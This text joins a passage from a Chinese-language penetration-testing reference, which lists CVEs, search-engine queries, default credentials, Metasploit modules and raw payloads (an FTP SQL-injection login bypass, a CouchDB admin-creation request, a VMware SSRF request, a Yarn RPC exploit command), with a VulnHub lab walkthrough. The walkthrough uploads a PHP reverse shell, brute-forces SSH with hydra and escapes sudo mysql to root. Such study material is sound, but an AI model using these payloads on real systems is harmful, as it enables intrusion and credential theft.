并避免无效访问,从而执行任意命令。此漏洞可通过库,如 ImageMagick 或带有 Ghotscript 包装器的编程语言中的图像库(本例中的 PIL/Pillow)实现。 - POC | Payload | exp - [Python PIL/Pillow Remote Shell Command Execution via Ghostscript CVE-2018-16509](https://vulhub.org/#/environments/python/PIL-CVE-2018-16509/) - (未复现成功) **Python unpickle 造成任意命令执行漏洞** - 相关文章 - [Django 远程命令执行漏洞详解](http://rickgray.me/2015/09/12/django-command-execution-analysis/) - [掌阅iReader某站Python漏洞挖掘](https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html) - POC | Payload | exp - [Python unpickle 造成任意命令执行漏洞](https://vulhub.org/#/environments/python/unpickle/) --- ### ruby > fofa : app="Ruby" **ruby-debug-ide** - 相关文章 - [浅析常见Debug调试器的安全隐患](https://security.tencent.com/index.php/blog/msg/137) --- ## 远程服务 ### Aria2 > 项目地址 : https://github.com/aria2/aria2 > fofa : "Aria2" **Aria2 任意文件写入漏洞** - 描述 Aria2 是一个命令行下轻量级、多协议、多来源的下载工具 (支持 HTTP/HTTPS、FTP、BitTorrent、Metalink) ,内建 XML-RPC 和 JSON-RPC 接口.在有权限的情况下,我们可以使用 RPC 接口来操作 aria2 来下载文件,将文件下载至任意目录,造成一个任意文件写入漏洞. - 相关文章 - [Aria2 任意文件写入漏洞](https://github.com/vulhub/vulhub/blob/master/aria2/rce/README.zh-cn.md) --- ### Shadowsocks **对 Shadowsocks stream ciphers 的重定向攻击** - https://github.com/edwardz246003/shadowsocks ### clash_for_windows **rce** - https://github.com/Fndroid/clash_for_windows_pkg/issues/2710 ### 向日葵 **相关文章** - [绕过向日葵安装交互](https://www.t00ls.com/articles-67519.html) **向日葵 rce** - POC | Payload | exp - [Mr-xn/sunlogin_rce](https://github.com/Mr-xn/sunlogin_rce) **CNVD-2022-10270 本地权限提升** - POC | Payload | exp - [Ryze-T/CNVD-2022-10270-LPE](https://github.com/Ryze-T/CNVD-2022-10270-LPE) ### Dameware Mini Remote Control > https://www.solarwinds.com/dameware-mini-remote-control **CVE-2019-3980** - 描述 Dameware Mini Remote Client代理默认支持智能卡鉴权。这允许用户在运行SolarWinds Dameware Remote Mini Remote Client Agent Service(DWRCS.exe)的主机上上传可执行文件。 - 相关文章 - [DAMEWARE MINI: THE SLEEPER HIT OF 2019?](https://www.trustedsec.com/blog/dameware-mini-the-sleeper-hit-of-2019/) - POC | Payload | exp - https://github.com/tenable/poc/tree/master/Solarwinds/Dameware --- ## 文件服务 ### FTP **相关文章** - [云服务器ftp被动和主动模式都连接失败](https://mp.weixin.qq.com/s/ogy7RuJpfABpdf4CHc3imA) **Xlight FTP Server < 3.2.1 user 参数 SQL 注入漏洞** - 描述 在执行 ODBC 认证过程中 Xlight FTP Server 没有正确地过滤用户所提交的用户名和口令字段,远程攻击者可以用"OR ‘1’=’1’ ;#"替换用户名绕过认证登录到服务器. - POC | Payload | exp ```bash 220 Xlight FTP Server 3.2 ready... User (server-4:(none)) : \' OR \'1\'=\'1\' ;# 331 Password required for \' OR \'1\'=\'1\' ;# Password : type anything 230 Login OK ftp&gt; ``` **Serv-U FTP Server 目录遍历漏洞** - 相关文章 - [Serv-U FTP Server 0day漏洞分析报告](http://safe.it168.com/a2011/1213/1287/000001287577.shtml) - POC | Payload | exp ```bash ls ../windwos 550 ..... ls ..:/windows 150 .... ... ... ``` ### NFS > fofa : protocol="nfs" **相关文章** - [针对NFS的渗透测试](https://www.freebuf.com/articles/network/159468.html) **CVE-1999-0554 目标主机 showmount -e 信息泄露** - POC | Payload | exp ```bash showmount -e <目标ip> mount -t nfs <目标ip>:/opt/applications/xxx_static_data /mnt ``` - MSF 模块 ```bash use auxiliary/scanner/nfs/nfsmount set rhosts <目标ip> run ``` --- ### Rsync > fofa : app="rsync" **未授权访问** - 相关文章 - [rsync的几则tips(渗透技巧)](http://www.91ri.org/11093.html) - [配置漏洞之Rsync匿名访问](https://uknowsec.cn/posts/skill/%E9%85%8D%E7%BD%AE%E6%BC%8F%E6%B4%9E%E4%B9%8BRsync%E5%8C%BF%E5%90%8D%E8%AE%BF%E9%97%AE.html) - POC | Payload | exp ```bash apt install rsync -y rsync <目标IP>:: ``` - [rsync 未授权访问漏洞](https://github.com/vulhub/vulhub/tree/master/rsync/common) - MSF 模块 ```bash use auxiliary/scanner/rsync/modules_list set rhosts <目标ip> run ``` --- ### Samba Samba 是 Samba 团队开发的一套可使 UNIX 系列的操作系统与微软 Windows 操作系统的 SMB/CIFS 网络协议做连结的自由软件,它支持共享打印机、互相传输资料文件等。 **CVE-2015-0240** - 描述 Samba 的 smbd 文件服务器守护进程中的 Netlogon 服务器实现过程中存在安全漏洞,该漏洞源于程序对未初始化的栈指针执行释放操作。远程攻击者可借助特制的 Netlogon 数据包利用该漏洞执行任意代码。以下版本受到影响:Samba 3.5.x 版本和 3.6.25 之前的 3.6.x 版本,4.0.25 之前的 4.0.x 版本,4.1.17 之前的 4.1.x 版本,4.2.0rc5 之前的 4.2.x 版本。 - 相关文章 - [Samba CVE-2015-0240 远程代码执行漏洞利用实践](https://www.secpulse.com/archives/5975.html) - MSF 模块 ```bash use auxiliary/scanner/smb/smb_uninit_cred set rhosts [ip] run ``` **CVE-2017-7494** - 描述 Samba 允许连接一个远程的命名管道,并且在连接前会调用 `is_known_pipename()` 函数验证管道名称是否合法.在 `is_known_pipename()` 函数中,并没有检查管道名称中的特殊字符,加载了使用该名称的动态链接库.导致攻击者可以构造一个恶意的动态链接库文件,执行任意代码. 该漏洞要求的利用条件: - 拥有共享文件写入权限,如:匿名可写等 - 需要知道共享目录的物理路径 - 影响版本 - Samba:4.6.5::: - Samba:4.6.3::: - Samba:4.6.2::: - Samba:4.6.1::: - Samba:4.6.0::: - 相关文章 - [Linux cve-2017-7494samba远程漏洞利用和分析](https://bbs.pediy.com/thread-218114.htm) - [Samba 远程命令执行漏洞(CVE-2017-7494)](https://vulhub.org/#/environments/samba/CVE-2017-7494/) - POC | Payload | exp - [joxeankoret/CVE-2017-7494](https://github.com/joxeankoret/CVE-2017-7494) - [opsxcq/exploit-CVE-2017-7494](https://github.com/opsxcq/exploit-CVE-2017-7494) - MSF 模块 ```bash use exploit/linux/samba/is_known_pipename set rhost [ip] set target 3 run ``` --- # 数据库 **相关文章** - [数据库利用 看这篇就好了](https://mp.weixin.qq.com/s/VgXOXVl-Bx2Vi8BYxdx3CA) **相关工具** - [SafeGroceryStore/MDUT](https://github.com/SafeGroceryStore/MDUT) - 数据库跨平台利用工具 - https://www.yuque.com/u21224612/nezuig/ays2ai - [Ryze-T/Sylas](https://github.com/Ryze-T/Sylas) - 数据库综合利用工具 - https://paper.seebug.org/1836/ ### CouchDB Apache CouchDB 是一个开源数据库,专注于易用性和成为"完全拥抱 web 的数据库"。它是一个使用JSON作为存储格式,JavaScript 作为查询语言,MapReduce 和 HTTP 作为 API 的 NoSQL 数据库。应用广泛,如 BBC 用在其动态内容展示平台,Credit Suisse 用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web 和应用程序). > shodan : "product:CouchDB" > fofa : app="APACHE-CouchDB" **未授权访问漏洞** - 描述 默认会在 5984 端口开放 Restful 的 API 接口,如果使用 SSL 的话就会监听在 6984 端口,用于数据库的管理功能。其 HTTP Server 默认开启时没有进行验证,而且绑定在 0.0.0.0,所有用户均可通过 API 访问导致未授权访问。 在官方配置文档中对 HTTP Server 的配置有 WWW-Authenticate:Set this option to trigger basic-auth popup on unauthorized requests,但是很多用户都没有这么配置,导致漏洞产生。 - 利用 `http://[ip]:5984/_utils/` `curl http://[ip]:5984` `curl http://[ip]:5984/_config` **CVE-2017-12635 垂直权限绕过漏洞** - 描述 CVE-2017-12635 是由于 Erlang 和 JavaScript 对 JSON 解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。 - 影响版本 - 小于 1.7.0 以及 小于 2.1.1 - POC | Payload | exp 来源 : [Couchdb 垂直权限绕过漏洞(CVE-2017-12635)](https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12635/README.md) ``` PUT /_users/org.couchdb.user:vulhub HTTP/1.1 Host: your-ip:5984 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 108 { "type": "user", "name": "vulhub", "roles": ["_admin"], "roles": [], "password": "vulhub" } ``` **CVE-2017-12636 任意命令执行漏洞** - 描述 CVE-2017-12636 是一个任意命令执行漏洞,我们可以通过 config api 修改 couchdb 的配置 query_server,这个配置项在设计、执行 view 的时候将被运行。 - 影响版本 - 小于 1.7.0 以及 小于 2.1.1 - POC | Payload | exp - [Couchdb 任意命令执行漏洞(CVE-2017-12636)](https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/README.md) ### InfluxDB InfluxDB 是一个使用 Go 语言编写的开源分布式,支持高并发的时序数据库 > fofa : app="influxdata-InfluxDB" > fofa : app="InfluxDB-2.0" **未授权访问漏洞** - 相关文章 - [InfluxDB API 未授权访问漏洞简单利用](https://landgrey.me/influxdb-api-unauthorized-exploit/) - [influxdb未授权访问漏洞](https://blog.csdn.net/weixin_43416469/article/details/113843301) - POC | Payload | exp ``` /debug/vars /debug/requests?seconds=10 /ping 用来检查数据库实例状态和版本号 /query 用来查询数据库数据 /write 用来更改数据库数据 ``` --- ### memcached `Memcached 是一套常用的 key-value 分布式高速缓存系统` > shodan: "product:Memcached" > fofa: app="MEMCACHED" **相关文章** - [针对Memcached缓存服务器的渗透测试方法介绍](https://www.freebuf.com/articles/web/201086.html) **未授权访问漏洞** - 描述 由于 Memcached 的安全设计缺陷没有权限控制模块,所以对公网开放的 Memcache 服务很容易被攻击者扫描发现,攻击者无需认证通过命令交互可直接读取 Memcached 中的敏感信息。 - POC | Payload | exp `telnet [ip] 11211` `nc -vv [ip] 11211` ```bash version # 检查 Memcached Server 的当前版本 stats # 查看 memcache 服务状态 stats slabs # 获取 slab 统计信息 stats items # 显示各个 slab 中 item 的数目和存储时长 set aaa 0 10 9 # 存个 aaa 值 # flag → 0 (可以包括键值对的整型参数,客户机使用它存储关于键值对的额外信息) # exptime → 10 (以秒为单位) # bytes → 9 (数据存储的字节数) memcached get aaa # 读这个值 ``` - MSF 模块 ``` use auxiliary/gather/memcached_extractor ``` **CVE-2016-8704 & CVE-2016-8705 & CVE-2016-8706** - 描述 Memcached 是一个分布式的高速缓存系统,近日研究者发现在其 < 1.4.33 的版本中存在三个整数溢出漏洞(http://blog.talosintel.com/2016/10/memcached-vulnerabilities.html),通过这几个漏洞攻击者可以触发堆溢出进而远程执行任意命令。官方在 11 月 1 日发布了升级公告。 - 相关文章 - [Memcached 命令执行漏洞(CVE-2016-8704、CVE-2016-8705、CVE-2016-8706)简析](https://paper.seebug.org/95/) --- ### MSSQL - [MSSQL](./实验/MSSQL.md) --- ### MongoDB > fofa: app="MongoDB-数据库" **未授权访问** ``` nmap -p 27017 --script mongodb-info x.x.x.x ``` --- ### Mysql - [Mysql](./实验/Mysql.md) --- ### Oracle - [Oracle](./实验/Oracle.md) --- ### OrientDB OrientDB 是英国 Orient 公司一套开源的 NoSQL 数据库管理系统。该系统支持 ACID 事务、快速索引和 SQL 查询等功能。 > fofa : app="OrientDB" **CVE-2017-11467** - 描述 OrientDB 2.22 及之前的版本中存在安全漏洞,该漏洞源于程序没有强制执行权限请求。远程攻击者可通过发送特制的请求利用该漏洞执行任意的操作系统命令。 - 相关文章 - [OrientDB远程代码执行漏洞POC分析以及复现|CVE-2017-11467](https://bbs.ichunqiu.com/thread-33175-1-18.html) - POC | Payload | exp - [OrientDB - Code Execution](https://www.exploit-db.com/exploits/44068) --- ### PostgreSQL - [PostgreSQL](./实验/PostgreSQL.md) --- ### Redis - [Redis](./实验/Redis.md) --- ### Sqlite **CVE-2022-35737** - 相关文章 - [Stranger Strings: An exploitable flaw in SQLite](https://blog.trailofbits.com/2022/10/25/sqlite-vulnerability-july-2022-library-api/) --- ## 容器 & 虚拟化 **相关文章** - [云原生服务风险测绘分析(一):Docker和Kubernetes](https://mp.weixin.qq.com/s/dfa2zS8WbD2Pa4IxSxV9CA) - [An attempt to understand container runtime](https://sidb.in/posts/intro-to-container-runtime/) **相关工具** - [cdk-team/CDK](https://github.com/cdk-team/CDK) - 为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及 PoC/EXP。集成 Docker/K8s 场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。 - [stealthcopter/deepce](https://github.com/stealthcopter/deepce) - Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE) **开源靶场/部署工具** - [Metarget/metarget](https://github.com/Metarget/metarget) - Metarget is a framework providing automatic constructions of vulnerable infrastructures. ```bash git clone https://github.com/brant-ruan/metarget.git cd metarget/ && pip3 install -r requirements.txt ./metarget cnv list ./metarget appv list ``` **检测虚拟机** - **windows** cmd : `systeminfo` Powershell : `get-wmiobject win32_computersystem | fl model` - **linux** ```bash cat /proc/1/cgroup lshw -class system | grep -i VM & grep -i virtual dmesg | grep -i VM & grep -i virtual dmidecode -s system-product-name ls /tmp systemd-detect-virt virt-what ls -alh /.dockerenv ``` ### Citrix **相关文章** - [浅谈关于企业中citrix的渗透思路](https://mp.weixin.qq.com/s/wUv3DIN4woXMZmYOCG2MGg) #### Citrix Receiver > shodan : title:"citrix gateway" > fofa : Citrix_Receiver `注意一下 1494 和 2598 端口` **默认账号** ``` nsroot/nsroot citrix/citrix ``` **相关文章** - [CitrixReceiver平台的一次渗透测试](https://forum.90sec.com/t/topic/310) - [利用Citrix Receiver浏览器进行渗透](https://mp.weixin.qq.com/s/3p7e27JF6NV6C0_DEPiaqg) #### XenMobile > fofa: app="XenMobile-Console" **CVE-2020-8209 - Path Traversal** - 相关文章 - [Path Traversal on Citrix XenMobile Server](https://swarm.ptsecurity.com/path-traversal-on-citrix-xenmobile-server/) --- ### Docker - [Docker](./实验/Docker.md) --- ### Kubernetes - [Kubernetes](./实验/Kubernetes.md) --- ### VMware **VMware vSphere,ESXi 和 vCenter 的区别** > 出自 : https://blog.csdn.net/lm3758/article/details/88996556 VMware Inc. 是一家软件公司。它开发了许多产品,尤其是各种云解决方案 。他的云解决方案包括云产品,数据中心产品和桌面产品等。 `vSphere` 是在数据中心产品下的一套软件。`vSphere` 类似微软的 Office 办公套件,Office 办公套件包含了许多软件如 Word, Excel, Access 等。和 Office 一样,vSphere 也是一个软件的集合。他包括了 `vCenter`, `ESXi` 和 `vSphere Client` 等。所以,这些软件联合起来就是 `vSphere`。`vSphere` 不是一个可以安装使用的软件, 它是一个包含其它组件的集合。`ESXi`, `vSphere client` 和 `vCeneter` 都是 `vSphere` 的组件。 `ESXi` 是 `vSphere` 中最重要的一个组件。`ESXi` 是从服务器底层来进行虚拟化,它对外提供一个虚拟化服务,所有的虚拟机都运行在 `ESXi` 服务上面。为了安装,管理和访问这些虚拟机,你需要另外的一个 `vSphere` 组件,它就是 `vSphere client` 或 `vCenter`。 `vSphere client` 允许管理员通过该软件访问 `ESXi` 服务并管理虚拟机。`vSphere client` 安装在客户机上面。`vSphere client` 被用来连接 `ESXi` 服务器和管理任务。 `vCenter server` 它和 `vSphere client` 很像,但是它和功能更加强大。`vCenter server` 是安装在 Window 服务器或 Linux 服务器里面。 `vCenter server` 是一个中心化的管理应用。你可以通过它管理所有的虚拟机和 `ESXi` 物理机。`vSphere client` 可以通过访问 `vCenter Server` 来管理 EXSi 服务器。`vCenter server` 是一个企业级的产品,有许多企业级的功能,像 vMotion, VMware High Availability, VMware Update Manager 和 VMware Distributed Resource Scheduler(DRS)。你可以方便的通过 `vCenter server` 克隆存在的虚拟机。 总结 `vSphere` 是一个产品套件,`ESXi` 是安装在物理机上面的服务。`vSphere Client` 安装在客户端的笔记本或 PC 机上面,用来访问 `ESXi` 服务并安装和管理上面的虚拟机。`vCenter Server` 安装在了 `ESXi` 服务器的虚拟机里面。`vCenter` 也可以安装在单独的物理服务器上面,但是虚拟化不应该更好么? `vCenter` 服务通常用在有很多 `EXSi` 服务和许多虚拟机的大规模环境中。`vCenter` 也可以使用 `vSphere client` 来管理。所以 `vSphere client` 可以在小环境中直接管理 `ESXi` 服务。也可以在大规模的环境中,通过 `vCenter` 服务间接管理 `ESXi` 服务。 #### VMware vCenter - [vCenter](./实验/vCenter.md) #### VMWare ESXi **相关文章** - [【技术原创】渗透技巧——从VMware ESXI横向移动到Windows虚拟机](https://www.4hou.com/posts/VZ5X) **CVE-2021-21974** - 影响版本 - vmware:esxi:6.5:2:*:*:*:*:*:* - vmware:esxi:6.5:650 - 6.7:670 - POC | Payload | exp - [Shadow0ps/CVE-2021-21974](https://github.com/Shadow0ps/CVE-2021-21974) #### VMware View Planner **CVE-2021-21978 VMware View Planner 远程代码执行漏洞** - 相关文章 - [VMware View Planner 远程代码执行漏洞 CVE-2021-21978](https://mp.weixin.qq.com/s/mBL9kYptreo62g4IonXSLg) - [CVE-2021-21978:VM View Planner RCE分析复现](https://mp.weixin.qq.com/s/bTTOLjslwq1RiuB8Ah2Y9Q) #### VMware vRealize Operations Manager **CVE-2021-21975 SSRF** - POC | Payload | exp ``` POST /casa/nodes/thumbprints HTTP/1.1 Content-Type: application/json;charset=UTF-8 ["127.0.0.1:443/ui"] ``` **CVE-2021-21983** - POC | Payload | exp - [rabidwh0re/REALITY_SMASHER](https://github.com/rabidwh0re/REALITY_SMASHER) #### VMware Workspace ONE Access **相关文章** - [0Click RCE:攻击VMWare Workspace ONE Access](https://mp.weixin.qq.com/s/OjpDC707h4Qn5jkIsX0FBA) **CVE-2020-4006 VMware Workspace ONE Access 命令注入漏洞** - 描述 2020 年 11 月 23 日,VMware 发布安全公告,其多个产品和组件的管理配置器中存在一个命令注入漏洞(CVE-2020-4006),其 CVSS 评分 9.1。具有管理配置器 8443 端口的网络访问权限并拥有管理配置器 admin 帐户和密码的攻击者可以利用此漏洞在系统上执行命令。 漏洞位于 /cfg/ssl/installSelfSignedCertificate TLS 端口 8443 上的 “Appliance Configurator” 服务中的端点中,通过 san 参数在 POST 对端点的请求中指定恶意参数,可以执行任意 shell 命令。请注意该服务可能会重新启动。动作会记录在 `/opt/vmware/horizon/workspace/logs/configurator.log` 文件中。 - POC | Payload | exp - https://attackerkb.com/topics/2DKGb1v8mA/cve-2020-4006 - https://twitter.com/wvuuuuuuuuuuuuu/status/1391887171649515529 **CVE-2021-22056 ssrf** - 相关文章 - [Stealing administrative JWT's through post auth SSRF (CVE-2021-22056)](https://blog.assetnote.io/2022/01/17/workspace-one-access-ssrf/) **CVE-2022-22972** - 相关文章 - [VMware Authentication Bypass Vulnerability (CVE-2022-22972) Technical Deep Dive](https://www.horizon3.ai/vmware-authentication-bypass-vulnerability-cve-2022-22972-technical-deep-dive/) - POC | Payload | exp - [horizon3ai/CVE-2022-22972](https://github.com/horizon3ai/CVE-2022-22972) --- #### VMWare NSX Manager **CVE-2021-39144** - 相关文章 - [Eat What You Kill :: Pre-authenticated Remote Code Execution in VMWare NSX Manager](https://srcincite.io/blog/2022/10/25/eat-what-you-kill-pre-authenticated-rce-in-vmware-nsx-manager.html) --- ## 分布式 ### Hadoop Hadoop 是一个由 Apache 基金会所开发的分布式系统基础架构。用户可以在不了解分布式底层细节的情况下,开发分布式程序。充分利用集群的威力进行高速运算和存储。 > fofa : app="APACHE-hadoop-HttpFS" > fofa : app="APACHE-hadoop-ResourceManager" > fofa : app="APACHE-hadoop-YARN" **相关文章** - [Hadoop渗透及安全加固](http://www.polaris-lab.com/index.php/archives/187/) - [挖掘分布式系统——Hadoop的漏洞](https://zhuanlan.zhihu.com/p/28901633) **未授权访问漏洞** - 描述 由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。 - 示例 ``` http://[ip]:8088/ http://[ip]:50070 http://[ip]:50070/dfshealth.jsp http://[ip]:50070/logs/ ``` - POC | Payload | exp - https://github.com/vulhub/vulhub/blob/master/hadoop/unauthorized-yarn/exploit.py **Hadoop Yarn RPC RCE** - 描述 Hadoop Yarn RPC 未授权访问漏洞存在于 Hadoop Yarn 中负责资源管理和任务调度的 ResourceManager,成因是该组件为用户提供的 RPC 服务默认情况下无需认证即可访问。Hadoop Yarn RPC 未授权访问使得攻击者无需认证即可通过 RPC 通信执行恶意命令。 - 相关文章 - [Hadoop Yarn RPC未授权RCE](https://mp.weixin.qq.com/s/LdBDOHZI-aEEUCwXT5_K9Q) - [Hadoop Yarn RPC RCE 复现](https://cloud.tencent.com/developer/article/1909367) - POC | Payload | exp - [cckuailong/YarnRpcRCE](https://github.com/cckuailong/YarnRpcRCE) ``` java -jar YarnRpcUnauth.jar ip:port "touch /tmp/success" ``` --- ### Spark Apache Spark 是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行. > 官网 : https://spark.apache.org/ > fofa : app="APACHE-Spark" **未授权访问漏洞** - 描述 Apache Spark是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动ACL(访问控制),我们将可以在集群中执行任意代码。 - 相关文章 - [Apache Spark 未授权访问漏洞](https://vulhub.org/#/environments/spark/unacc/) - [某大厂红队评估_之_Apache Spark打点](https://mp.weixin.qq.com/s/XTXuZAZL9PFQzV36sVD9oQ) - POC | Payload | exp - [aRe00t/rce-over-spark](https://github.com/aRe00t/rce-over-spark) **SPARK-38631** - 描述 当文件名称被恶意用户控制时,存在通过`Utils.unpack`实现任意shell命令注入的风险. - 影响范围 - 3.1.2 - 3.2.1 - 3.3.0 - 相关文章 - [SPARK-38631 Hadoop unTar函数引发的命令注入漏洞](https://mp.weixin.qq.com/s/3AsNUIzPJPTvay10LCpb8w) **CVE-2022-33891 Apache Spark shell命令注入漏洞** - 影响范围 - Spark Core - Apache <=3.0.3 - 3.1.1 <= Spark Core - Apache <=3.1.2 - 3.2.0 <= Spark Core - Apache <=3.2.1 - 相关文章 - [【技术干货】CVE-2022-33891 Apache Spark shell命令注入漏洞分析](https://mp.weixin.qq.com/s/ajggDNF__M4pC_pCf5eTsw) --- ### ZooKeeper Apache Zookeeper 是美国阿帕奇(Apache)软件基金会的一个软件项目,它能够为大型分布式计算提供开源的分布式配置服务、同步服务和命名注册等功能。 > fofa : app="APACHE-ZooKeeper" **未授权访问漏洞** - 描述 Zookeeper 的默认开放端口是 2181。Zookeeper 安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用 Zookeeper,通过服务器收集敏感信息或者在 Zookeeper 集群内进行破坏(比如:kill 命令)。攻击者能够执行所有只允许由管理员运行的命令。 - 相关文章 - [ZooKeeper 未授权访问漏洞](https://blog.csdn.net/qq_23936389/article/details/83826028) - [攻击大数据应用:ZooKeeper](http://www.polaris-lab.com/index.php/archives/41/) - 搭建环境 ```bash wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz tar -xzvf zookeeper-3.4.14.tar.gz cd zookeeper-3.4.14/conf mv zoo_sample.cfg zoo.cfg ../bin/zkServer.sh start ../bin/zkCli.sh -server 127.0.0.1:2181 # 连接 server ``` - 利用 ```bash echo envi|nc [ip] 2181 # 打印有关服务环境的详细信息 echo dump |ncat [ip] 2181 # 列出未完成的会话和临时节点 echo reqs |ncat [ip] 2181 # 列出未完成的请求 echo ruok |ncat [ip] 2181 # 测试服务器是否运行在非错误状态 echo stat |ncat [ip] 2181 # 列出关于性能和连接的客户端的统计信息 ./zkCli.sh -server [ip]:port ``` **CVE-2014-0085 ZooKeeper 信息泄露漏洞** - 描述 Apache Zookeeper 中存在安全漏洞,该漏洞源于程序记录明文 admin 密码。本地攻击者可通过读取日志利用该漏洞获取敏感信息。 - 相关文章 - [ZooKeeper信息泄露漏洞(CVE-2014-085)](http://www.voidcn.com/article/p-ebikooyk-oa.html) --- ## 组态软件 ### WebAccess 研华 WebAccess 软件是研华物联网应用平台解决方案的核心,为用户提供一个基于 HTML5 技术用户界面,实现跨平台、跨浏览器的数据访问体验。使用 WebAccess 后,用户可以建立一个信息管理平台,同步提高垂直市场管理发展的效率。 > fofa : app="ADVANTECH-WebAccess" **CVE-2017-16720 Advantech WebAccess远程命令执行** - 描述 此漏洞允许攻击者使用 RPC 协议通过 TCP 端口 4592 执行远程命令。 通过利用恶意分布式计算环境/远程过程调用(DCERPC),webvrpcs.exe 服务将命令行指令传递给主机, webvrpcs.exe 服务以管理员访问权限运行。版本小于 8.3、8.3.1、8.3.2 仍然存在特定的安全漏洞。 - 相关文章 - [漏洞实验:CVE-2017-16720 Advantech WebAccess远程命令执行](https://www.key1.top/index.php/archives/492/) - POC | Payload | exp - [Advantech WebAccess < 8.3 - Directory Traversal / Remote Code Execution](https://www.exploit-db.com/exploits/44278)
sec-knowleage
# FunboxEasyEnum > https://download.vulnhub.com/funbox/Funbox7.ova 靶场IP:`192.168.2.8` 扫描对外端口服务 ``` ┌──(root㉿kali)-[~/Desktop] └─# nmap -p1-65535 -sV 192.168.2.8 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-05 07:31 EDT Nmap scan report for 192.168.2.8 Host is up (0.00049s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) MAC Address: 08:00:27:8F:87:22 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.02 seconds ``` 浏览器访问80端口 ![image-20220905193226169](../../.gitbook/assets/image-20220905193226169.png) 爆破web目录 ``` ┌──(root㉿kali)-[~/Desktop] └─# gobuster dir -u http://192.168.2.8/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 100 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.8/ [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: php,txt [+] Timeout: 10s =============================================================== 2022/09/05 07:39:37 Starting gobuster in directory enumeration mode =============================================================== /javascript (Status: 301) [Size: 315] [--> http://192.168.2.8/javascript/] /mini.php (Status: 200) [Size: 4443] /robots.txt (Status: 200) [Size: 21] /secret (Status: 301) [Size: 311] [--> http://192.168.2.8/secret/] /phpmyadmin (Status: 301) [Size: 315] [--> http://192.168.2.8/phpmyadmin/] /server-status (Status: 403) [Size: 276] =============================================================== 2022/09/05 07:42:49 Finished =============================================================== ``` ![image-20220905193433328](../../.gitbook/assets/image-20220905193433328.png) ![image-20220905194403536](../../.gitbook/assets/image-20220905194403536.png) 上传php反弹shell ![image-20220905194532044](../../.gitbook/assets/image-20220905194532044.png) 建立反弹shell成功。 ![image-20220905194845136](../../.gitbook/assets/image-20220905194845136.png) 对用户进行暴力破解 ``` ┌──(root㉿kali)-[/tmp] └─# hydra -l goat -P /usr/share/wordlists/rockyou.txt 192.168.2.8 ssh Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-09-05 07:50:38 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task [DATA] attacking ssh://192.168.2.8:22/ [STATUS] 156.00 tries/min, 156 tries in 00:01h, 14344245 to do in 1532:31h, 14 active [STATUS] 118.00 tries/min, 354 tries in 00:03h, 14344047 to do in 2025:60h, 14 active [STATUS] 102.29 tries/min, 716 tries in 00:07h, 14343685 to do in 2337:12h, 14 active [22][ssh] host: 192.168.2.8 login: goat password: thebest 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 1 final worker threads did not complete until end. [ERROR] 1 target did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-09-05 07:59:07 ``` 查看sudo列表 ``` goat@funbox7:~$ sudo -l Matching Defaults entries for goat on funbox7: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User goat may run the following commands on funbox7: (root) NOPASSWD: /usr/bin/mysql ``` 提权 ``` goat@funbox7:~$ sudo -u root /usr/bin/mysql -e '\! /bin/bash' root@funbox7:~# id uid=0(root) gid=0(root) groups=0(root) root@funbox7:~# ls /root html.tar.gz root.flag script.sh root@funbox7:~# cat /root/root.flag █████▒ █ ██ ███▄ █ ▄▄▄▄ ▒█████ ▒██ ██▒ ▓██ ▒ ██ ▓██▒ ██ ▀█ █ ▓█████▄ ▒██▒ ██▒▒▒ █ █ ▒░ ▒████ ░ ▓██ ▒██░▓██ ▀█ ██▒▒██▒ ▄██▒██░ ██▒░░ █ ░ ░▓█▒ ░ ▓▓█ ░██░▓██▒ ▐▌██▒▒██░█▀ ▒██ ██░ ░ █ █ ▒ ░▒█░ ▒▒█████▓ ▒██░ ▓██░░▓█ ▀█▓░ ████▓▒░▒██▒ ▒██▒ ▒ ░ ░▒▓▒ ▒ ▒ ░ ▒░ ▒ ▒ ░▒▓███▀▒░ 